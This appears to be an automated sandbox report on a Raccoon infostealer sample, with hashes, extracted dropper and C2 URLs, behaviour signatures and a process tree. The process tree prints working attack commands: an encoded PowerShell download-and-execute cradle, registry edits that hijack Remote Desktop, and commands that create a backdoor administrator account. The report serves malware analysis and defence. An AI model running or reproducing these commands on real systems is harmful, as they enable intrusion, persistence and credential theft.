Analysis

  • max time kernel
    88s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    03-06-2021 00:02

General

  • Target

    42cedc39e8da5fcd0b294e84aa406006.exe

  • Size

    569KB

  • MD5

    42cedc39e8da5fcd0b294e84aa406006

  • SHA1

    b0e221a7ba816e9d51724af40b551d72b395d62b

  • SHA256

    7672dfbaa089b5f55f22e1bf1f9f985e65cc9166455c83637d3219c2c9eb4dff

  • SHA512

    349415ec56ea0b294beb98b3b5aecf7ad3a02e1024563bfdc4c08cfca1950f88224c3d8456e8e21720917705ef11ea9b8a64e8a4cacc4c5fd2f93a15ccdd35f3

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe
    "C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3952
    • C:\Users\Admin\AppData\Local\Temp\gYmsQZhOxV.exe
      "C:\Users\Admin\AppData\Local\Temp\gYmsQZhOxV.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3808
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\amutdoir\amutdoir.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3508
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C2F.tmp" "c:\Users\Admin\AppData\Local\Temp\amutdoir\CSC4AE3CED5DC0C4D95A76C66B041D5143E.TMP"
            5⤵
              PID:1648
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2248
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2004
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:3260
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:1772
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:3144
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2164
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:1240
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2740
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3208
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3848
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:1128
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2196
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2828
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:932
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:2124
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:2196
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3784
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2720
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:3956
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3972
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2248
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2928
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc YY6epZcX /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3992
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc YY6epZcX /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1812
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc YY6epZcX /add
                          3⤵
                            PID:1564
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3692
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3956
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:2740
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1240
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1832
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:1464
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2088
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:2352
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3144
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc YY6epZcX
                                1⤵
                                  PID:1772
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc YY6epZcX
                                    2⤵
                                      PID:3968
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc YY6epZcX
                                        3⤵
                                          PID:2720
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:2184
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:204
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:2288
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              PID:2192
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:2144
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:3728
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1772
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C net user wgautilacc 1234
                                                1⤵
                                                  PID:1820
                                                  • C:\Windows\system32\net.exe
                                                    net user wgautilacc 1234
                                                    2⤵
                                                      PID:3692
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user wgautilacc 1234
                                                        3⤵
                                                          PID:3972

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/1772-256-0x000002B6677E3000-0x000002B6677E5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1772-255-0x000002B6677E0000-0x000002B6677E2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1772-257-0x000002B6677E6000-0x000002B6677E8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1772-258-0x000002B6677E8000-0x000002B6677E9000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2004-221-0x000001CCB8166000-0x000001CCB8168000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2004-222-0x000001CCB8168000-0x000001CCB816A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2004-220-0x000001CCB8163000-0x000001CCB8165000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2004-219-0x000001CCB8160000-0x000001CCB8162000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2248-215-0x00000250DAE53000-0x00000250DAE55000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2248-216-0x00000250DAE56000-0x00000250DAE58000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2248-214-0x00000250DAE50000-0x00000250DAE52000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2248-218-0x00000250DAE58000-0x00000250DAE5A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3148-212-0x000001A09B158000-0x000001A09B15A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3148-211-0x000001A09B156000-0x000001A09B158000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3148-184-0x000001A09B153000-0x000001A09B155000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3148-183-0x000001A09B150000-0x000001A09B152000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3808-223-0x0000021A48968000-0x0000021A48969000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3808-158-0x0000021A48930000-0x0000021A48931000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3808-138-0x0000021A488F0000-0x0000021A488F1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3808-144-0x0000021A48960000-0x0000021A48962000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3808-166-0x0000021A49D80000-0x0000021A49D81000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3808-160-0x0000021A48966000-0x0000021A48968000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3808-145-0x0000021A48963000-0x0000021A48965000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3808-165-0x0000021A499F0000-0x0000021A499F1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3808-142-0x0000021A49590000-0x0000021A49591000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3952-114-0x0000000002280000-0x0000000002311000-memory.dmp

                                                      Filesize

                                                      580KB

                                                    • memory/3952-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                      Filesize

                                                      600KB

                                                    • memory/4092-132-0x000001C2FE786000-0x000001C2FE787000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4092-127-0x000001C2FEBC0000-0x000001C2FEFE1000-memory.dmp

                                                      Filesize

                                                      4.1MB

                                                    • memory/4092-129-0x000001C2FE780000-0x000001C2FE782000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4092-130-0x000001C2FE783000-0x000001C2FE785000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4092-131-0x000001C2FE785000-0x000001C2FE786000-memory.dmp

                                                      Filesize

                                                      4KB